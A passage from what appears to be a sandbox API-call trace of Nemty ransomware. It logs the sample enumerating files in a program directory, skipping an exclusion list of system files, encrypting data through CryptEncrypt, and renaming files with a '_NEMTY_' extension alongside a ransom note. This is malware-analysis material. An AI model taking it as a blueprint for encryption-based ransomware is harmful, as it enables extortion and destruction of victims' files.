hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.353] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0059.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0059.353] CloseHandle (hObject=0xffffffff) returned 0 [0059.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6340540 [0059.353] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0059.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0059.353] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0059.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0059.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0059.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6343fe8 [0059.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6344080 [0059.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0059.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0059.354] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png._nemty_kgobjgd_")) returned 0 [0059.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344080 | out: hHeap=0x4f90000) returned 1 [0059.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340540 | out: hHeap=0x4f90000) returned 1 [0059.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0059.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400e0 | out: hHeap=0x4f90000) returned 1 [0059.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c8 | out: hHeap=0x4f90000) returned 1 [0059.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0059.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0059.354] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4ea3c70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd4ea3c70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd4ea3c70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0059.354] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0059.355] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0059.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0059.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0059.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0059.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0059.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0059.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0059.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0059.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0059.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0059.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0059.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0059.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0059.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0059.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0059.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.355] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4ea3c70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd4ea3c70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd4ea3c70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0059.355] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0059.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0059.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0059.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0059.356] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2=".") returned 1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="..") returned 1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="...") returned 1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="windows") returned -1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="$RECYCLE.BIN") returned 1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="rsa") returned -1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="NTDETECT.COM") returned -1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="ntldr") returned -1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="MSDOS.SYS") returned -1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="IO.SYS") returned -1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="boot.ini") returned -1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="boot.ini") returned -1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="ntuser.dat") returned -1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="desktop.ini") returned -1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="CONFIG.SYS") returned -1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="RECYCLER") returned -1 [0059.356] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="BOOTSECT.BAK") returned -1 [0059.357] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="bootmgr") returned -1 [0059.357] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="programdata") returned -1 [0059.357] lstrcmpiW (lpString1="BlackRectangle.bmp", lpString2="appdata") returned 1 [0059.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0059.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BlackRectangle.bmp", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0059.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BlackRectangle.bmp", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlackRectangle.bmp", lpUsedDefaultChar=0x0) returned 18 [0059.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0059.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BlackRectangle.bmp", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0059.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BlackRectangle.bmp", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlackRectangle.bmp", lpUsedDefaultChar=0x0) returned 18 [0059.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0059.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0059.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0059.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BlackRectangle.bmp", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0059.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BlackRectangle.bmp", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlackRectangle.bmp", lpUsedDefaultChar=0x0) returned 18 [0059.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0059.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0059.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BlackRectangle.bmp", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0059.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0059.357] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BlackRectangle.bmp", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlackRectangle.bmp", lpUsedDefaultChar=0x0) returned 18 [0059.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0059.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94238 [0059.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0059.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942c0 [0059.357] Sleep (dwMilliseconds=0x5) [0059.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd708f5f0, dwHighDateTime=0x1d561e7)) [0059.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd708f5f0, dwHighDateTime=0x1d561e7)) [0059.371] GetLastError () returned 0x12 [0059.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.371] GetLastError () returned 0x12 [0059.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0059.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0059.372] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0059.372] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0059.372] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0059.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0059.372] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="sLd0V1K5vqVEkE2tPzcjl4FZaJj65iNCM676XaSvjArbPkZT568NJKfBzAKr7Czc\r\nn4HlMUos9LF/S6wBrvz7zAFos3nzEZbatmfwiLho5rRRp03mwZd2kcOmDsOPK4+U\r\nsLcR03LGkWjqdvBwE/UjW2otheKQ+vR+wCVuXodrHw0rSXAMLQr5hPjLcRPanaKE\r\nx+W4uKE1/OwGIjSTu8KsflXvtnhUkMhJyYiIPBIT3Tf8bBVuEDr66yEy5uP9PlpS\r\nZIg+1j30X97bKiKsW4BJA/YsTnj3N+DgRN0NMKrvf2S9Bba525IH2fVqoX5A8uzY\r\n/Sss90gmYeh/usawAoM3tQ==\r\n", pcchString=0x653ec5c) returned 1 [0059.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0059.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0059.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0059.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0059.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0059.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0059.372] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.373] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0059.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0059.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.373] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.393] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.403] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.403] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.412] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.412] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.413] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.423] WriteFile (in: 